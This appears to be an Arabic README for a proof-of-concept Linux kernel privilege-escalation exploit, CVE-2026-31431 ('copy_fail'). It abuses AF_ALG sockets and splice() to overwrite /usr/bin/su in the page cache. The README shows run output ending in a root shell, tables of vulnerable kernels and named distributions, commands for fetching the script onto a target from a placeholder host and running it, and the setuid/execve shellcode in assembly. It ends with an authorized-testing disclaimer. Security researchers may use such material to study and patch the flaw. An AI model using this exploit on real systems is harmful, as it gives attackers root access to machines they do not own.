
# استغلال شل PoC لـ CVE-2026-31431 (copy_fail) — تصعيد صلاحيات محلي على لينكس عبر AF_ALG + استبدال page-cache بـ splice. لقطة واحدة، بدون حالة سباق، النواة 4.9–6.18.
تصعيد محلي للصلاحيات عبر مقبس AF_ALG + استغلال splice() لاستبدال محتوى ذاكرة التخزين المؤقت للصفحات.
يستبدل ملف SUID ثنائي للقراءة فقط (/usr/bin/su) بملف ELF مصغّر يستدعي setuid(0) + execve("/bin/sh"). لا توجد حالة سباق، ولا إزاحات خاصة بالتوزيعات، تنفيذ واحد فقط.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
مقبس AF_ALG (واجهة برمجة التشفير) في نواة لينكس، بالاقتران مع splice()، يسمح بالكتابة إلى ملف تم فتحه بـ O_RDONLY من خلال التلاعب بذاكرة التخزين المؤقت للصفحات. تتجاوز النواة فحص صلاحية الكتابة في الاختصار الخاص بالنسخ عند الكتابة (copy-on-write) داخل مسار splice الخاص بمقبس ALG — وهي نفس فئة الثغرة الموجودة في Dirty Pipe (CVE-2022-0847) ولكن يتم استغلالها عبر مسار كود مختلف تم تقديمه في النواة 4.9.
| نطاق النواة | الحالة |
|---|---|
| < 4.9 | غير متأثر (مسار الكود المعرض للخطر غير موجود) |
| 4.9 – 6.18 | معرّض للخطر (~9 سنوات، 2017–2026) |
| ≥ 6.19 | تم إصلاحه |
| التوزيعة | النواة |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc على الهدف/tmp# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
سينفّذ السكربت ما يلي:
/usr/bin/su بحمولة شل الجذرAF_ALG socket (AEAD)
│
│ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (operation socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
مسار splice داخل مقبس ALG في النواة يتجاوز فحص صلاحية النسخ عند الكتابة، ويكتب مباشرة في ذاكرة التخزين المؤقت للصفحات الخاصة بالملف الهدف على الرغم من فتحه للقراءة فقط. تتم كتابة الحمولة (ملف ELF بحجم 160 بايت) 4 بايتات في كل مرة عبر 40 تكرارًا.
كود شل الحمولة:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| الملف | الوصف |
|---|---|
copy_fail_exp.sh | سكربت Bash — يقوم بالتجميع والتشغيل على الهدف، بدون الحاجة إلى Python |
copy_fail_exp.py | النسخة الأصلية بلغة Python للرجوع إليها |
copy_fail_exp_deobfuscated.py | نسخة Python مفككة التشفير ومشروحة |
للاستخدام في الاختبارات الأمنية المصرّح بها وبيئات CTF/المختبرات فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.